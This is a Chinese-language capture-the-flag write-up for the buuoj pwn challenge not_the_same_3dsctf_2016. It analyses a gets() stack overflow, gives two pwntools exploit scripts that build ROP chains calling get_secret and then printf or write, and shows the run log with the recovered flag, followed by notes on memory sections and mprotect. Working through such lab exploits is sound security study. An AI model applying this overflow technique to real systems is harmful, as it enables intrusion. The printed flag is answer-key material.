CTF buuoj pwn-----第11题: not_the_same_3dsctf_2016
1. 解题分析
IDA之后,有几个函数值得分析:
- 1.main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[45]; // [esp+Fh] [ebp-2Dh] BYREF
printf("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ");
gets(v4);
return 0;
}
gets函数可以栈溢出,修改main函数的返回地址r,去跳转执行,
首先需要覆盖b’a’*45个单位
接着把后门函数 get_secret的地址写到r地址
然后,调用printf()函数,或者write()函数写出来.
- 1.1 main函数栈帧:
-0000003C ; D/A/* : change type (data/ascii/array)
-0000003C ; N : rename
-0000003C ; U : undefine
-0000003C ; Use data definition commands to create local variables and function arguments.
-0000003C ; Two special fields " r" and " s" represent return address and saved registers.
-0000003C ; Frame size: 3C; Saved regs: 0; Purge: 0
-0000003C ;
-0000003C
-0000003C var_3C dd ?
-00000038 db ? ; undefined
-00000037 db ? ; undefined
-00000036 db ? ; undefined
-00000035 db ? ; undefined
-00000034 db ? ; undefined
-00000033 db ? ; undefined
-00000032 db ? ; undefined
-00000031 db ? ; undefined
-00000030 db ? ; undefined
-0000002F db ? ; undefined
-0000002E db ? ; undefined
-0000002D v4 db 45 dup(?)
+00000000 r db 4 dup(?)
+00000004 argc dd ?
+00000008 argv dd ? ; offset
+0000000C envp dd ? ; offset
+00000010
+00000010 ; end of stack variables
- 2.后门函数 get_secret :
int get_secret()
{
int v0; // esi
v0 = fopen("flag.txt", &unk_80CF91B);
fgets(&fl4g, 45, v0);
return fclose(v0);
}
fopen()函数 :如果成功的打开一个文件, fopen()函数返回文件指针;
fgets函数把flag.txt写入到了fl4g这个地址了
用printf()函数,或write()函数把flag写出来.
2. 编写exp
2.1 利用printf()
from pwn import *
context.log_level = 'debug'
sh = remote('node4.buuoj.cn', 25436)
elf = ELF('./not_the_same_3dsctf_2016')
get_secret_addr = 0x080489A0
exit_addr = 0x0804E660
fl4g_addr = 0x080ECA2D
main_addr = elf.sym['main']
printf_addr = elf.sym['printf']
payload = b'a'*45 + p32(get_secret_addr)+p32(printf_addr)+p32(exit_addr)+p32(fl4g_addr)
sh.sendline(payload)
sh.interactive()
2.2 利用write
from pwn import *
context.log_level='debug'
sh = remote('node4.buuoj.cn', 27197)
elf = ELF('./not_the_same_3dsctf_2016')
get_secret_addr = 0x080489A0
write_addr = 0x0806E270
exit_addr = 0x0804E660
fl4g_addr = 0x080ECA2D
main_addr = elf.sym['main']
payload = b'a'*45 + p32(get_secret_addr)+p32(write_addr)+p32(main_addr)+p32(1)+p32(fl4g_addr)+p32(55)
sh.sendline(payload)
sh.interactive()
2.3 更改权限
等待更新…\
-
bss是指那些没有初始化的和初始化为0的全局变量
-
bss类型的全局变量只占运行时的内存空间,而不占文件空间。
-
data类型的全局变量是既占文件空间,又占用运行时内存空间的。
-
rodata 的意义同样明显,ro代表read only,即只读数据(const)
-
在运行过程中不会改变的数据设为 rodata 类型的,是有很多好处的:在多个进程间共享,可以大大提高空间利用率,甚至不占用RAM空间。同时由于 rodata 在只读的内存页面(page)中,是受保护的,任何试图对它的修改都会被及时发现,这可以帮助提高程序的稳定性
bss、data和rodata区别与联系
各内存区段的介绍 -
在Linux中,mprotect()函数可以用来修改一段指定内存区域的保护属性。
- nt mprotect(const void *start, size_t len, int prot);
mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值
- nt mprotect(const void *start, size_t len, int prot);
3. 运行exp,获取flag
bing@bing-virtual-machine:~/pwn$ python3 not_the_same_3dsctf_2016.py
[+] Opening connection to node4.buuoj.cn on port 27197: Done
[DEBUG] '/home/bing/pwn/not_the_same_3dsctf_2016' is statically linked, skipping GOT/PLT symbols
[*] '/home/bing/pwn/not_the_same_3dsctf_2016'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[DEBUG] Sent 0x46 bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000020 61 61 61 61 61 61 61 61 61 61 61 61 61 a0 89 04 │aaaa│aaaa│aaaa│a···│
00000030 08 70 e2 06 08 e0 89 04 08 01 00 00 00 2d ca 0e │·p··│····│····│·-··│
00000040 08 37 00 00 00 0a │·7··│··│
00000046
[*] Switching to interactive mode
[DEBUG] Received 0x37 bytes:
00000000 66 6c 61 67 7b 30 61 62 33 32 63 61 39 2d 37 33 │flag│{0ab│32ca│9-73│
00000010 31 64 2d 34 38 63 31 2d 62 32 65 61 2d 31 31 35 │1d-4│8c1-│b2ea│-115│
00000020 62 64 37 65 35 32 61 62 31 7d 0a 00 00 00 00 00 │bd7e│52ab│1}··│····│
00000030 00 00 00 28 00 00 00 │···(│···│
[ 00000037
flag{0ab32ca9-731d-48c1-b2ea-115bd7e52ab1}
\x00\x00\x00\x00(\x00\x00[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to node4.buuoj.cn port 27197
flag{0ab32ca9-731d-48c1-b2ea-115bd7e52ab1}